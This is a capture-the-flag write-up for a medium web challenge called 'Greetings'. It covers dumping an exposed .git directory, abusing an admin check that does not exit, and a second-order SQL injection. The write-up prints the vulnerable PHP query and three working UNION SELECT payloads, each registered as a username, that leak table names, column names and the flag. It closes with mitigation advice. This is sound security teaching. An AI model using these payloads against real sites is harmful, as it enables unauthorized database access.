# Greetings

Category: Web Difficulty: Medium Author: Kolja

Writeup by freax13

## Description

> A client booked a web pentest with you, but did not want to provide the source code for the application.

## Summary

No challenge files were provided by the challenge author. The front page of the application shows a login form. After registering an account and logging in, we're shown a form that allows us to send greetings to other users.

## Solution

### Initial discovery

A quick test showed that the greetings functionality is vulnerable to XSS, but since there is no admin bot to attack, this isn't actually useful.

I suspected that there were more hidden pages, so I used ZAP's fuzzer and quickly discovered that the path `/.git/` returns a different response. This is good news because it allows us to dump the source code of the whole page contained in `/.git/` directory. I used `git-dumper` (https://github.com/arthaud/git-dumper).

Inspecting the source code shows there is an `admin` folder we didn't previously know about. It contains three files: An (almost) empty `index.php` file, and two other files `manage_admins.php` and `view_greetings.php`.

### Privilege escalation

Assuming that we need admin privileges to access the files in the `admin` folder, I checked the files and indeed saw code that checks whether the user is an admin. `manage_admins.php` is the obvious target as it might allow us to raise our own privileges. After looking at the checks in both files once more I quickly discovered that they were very close but not completly identical: The check in `manage_admins.php` doesn't actually exit on error, meaning that the check doesn't actually enforce a negative result. Sending a post request with `mode=add&target_username=freax13` allowed me exploit that buggy check to make myself an admin.

### SQL injection

All executed SQL statements use prepared statements to pass in values - with one exception in `view_greetings.php`:

```php
// ...
mysqli_real_query($database_connection, "SELECT username FROM greetings_users;");
$result = mysqli_use_result($database_connection);
$usernamesArray = [];
foreach ($result as $row) {
  $usernamesArray[] = $row['username'];
}
mysqli_free_result($result);
foreach ($usernamesArray as $username) {
  // ...
  sql_query = "SELECT greeting, sender FROM greetings WHERE receiver = '$username' ;";
  if ($sql_statement = mysqli_prepare($database_connection, $sql_query)) {
    mysqli_stmt_execute($sql_statement);
    // ...
    mysqli_stmt_bind_result($sql_statement, $greeting, $sender);
    echo "<table><tr><th>Sender</th><th>Greeting</th></tr>";
    while (mysqli_stmt_fetch($sql_statement)) {
        echo "<tr><td>Sender: $sender</td><td> Message: $greeting </td></tr>";
    }
    echo "</table></div>";
  }
  // ...
}
// ...
```

This is a typical setup for higher order SQL injection: If we register a user with a username containing an SQL injection that username will be returned by the database and end up in the statement querying greetings for that user triggering the injection.

Unfortunately even though sqlmap supports second order SQL injections, the payloads it generates are way to long and we're limited by the length of the username.

User: ' UNION SELECT table_name, 1 FROM information_schema.tables; -- -

| Sender | Greeting |
|---|---|
| Sender: 1 | Message: flag |
| Sender: 1 | Message: greetings |
| Sender: 1 | Message: greetings_users |
| Sender: 1 | Message: ADMINISTRABLE_ROLE_AUTHORIZATIONS |
| Sender: 1 | Message: APPLICABLE_ROLES |
| Sender: 1 | Message: CHARACTER_SETS |
| Sender: 1 | Message: CHECK_CONSTRAINTS |
| Sender: 1 | Message: COLLATIONS |
| Sender: 1 | Message: COLLATION_CHARACTER_SET_APPLICABILITY |
| Sender: 1 | Message: COLUMNS |
| Sender: 1 | Message: COLUMNS_EXTENSIONS |
| Sender: 1 | Message: COLUMN_PRIVILEGES |
| Sender: 1 | Message: COLUMN_STATISTICS |
| Sender: 1 | Message: ENABLED_ROLES |

Figure 1: To enumerate table, I registered a user called `' UNION SELECT table_name, 1 FROM information_schema.tables; -- -`.

User: ' UNION SELECT table_name, column_name FROM information_schema.columns; -- -

| Sender | Greeting |
|---|---|
| Sender: id | Message: flag |
| Sender: flag | Message: flag |
| Sender: id | Message: greetings |
| Sender: receiver | Message: greetings |
| Sender: sender | Message: greetings |
| Sender: greeting | Message: greetings |
| Sender: id | Message: greetings_users |
| Sender: username | Message: greetings_users |
| Sender: password | Message: greetings_users |
| Sender: staff | Message: greetings_users |
| Sender: USER | Message: ADMINISTRABLE_ROLE_AUTHORIZATIONS |
| Sender: HOST | Message: ADMINISTRABLE_ROLE_AUTHORIZATIONS |
| Sender: GRANTEE | Message: ADMINISTRABLE_ROLE_AUTHORIZATIONS |
| Sender: GRANTEE_HOST | Message: ADMINISTRABLE_ROLE_AUTHORIZATIONS |
| Sender: ROLE_NAME | Message: ADMINISTRABLE_ROLE_AUTHORIZATIONS |

Figure 2: To enumerate columns, I registered a user called `' UNION SELECT table_name, column_name FROM information_schema.columns; -- -`.

User: ' UNION SELECT id, flag from flag; -- -

| Sender | Greeting |
|---|---|
| Sender: CSCG{Bl4ckb0x_1urns_wh1t3b0x} | Message: 1 |

Figure 3: And finally to leak the flag, I registered a user called `' UNION SELECT id, flag from flag; -- -`.

## Mitigation

1. User input is reflected in way to many places. It should be properly escaped for example using `htmlspecialchars`.
2. The `.git` directory should be removed from the webserver. There's no reason for it to be there.
3. The check in `manage_admins.php` needs to be fixed by adding the `exit;` statement present in `view_greetings.php` or better yet the code could be deduplicated into a new file to prevent further inconsistencies in the future.
4. The insecure query in `view_greetings.php` should either also use a prepared statment parameter or the input should be properly escaped before it's appended to the query.

## Flag

CSCG{Bl4ckb0x_1urns_wh1t3b0x}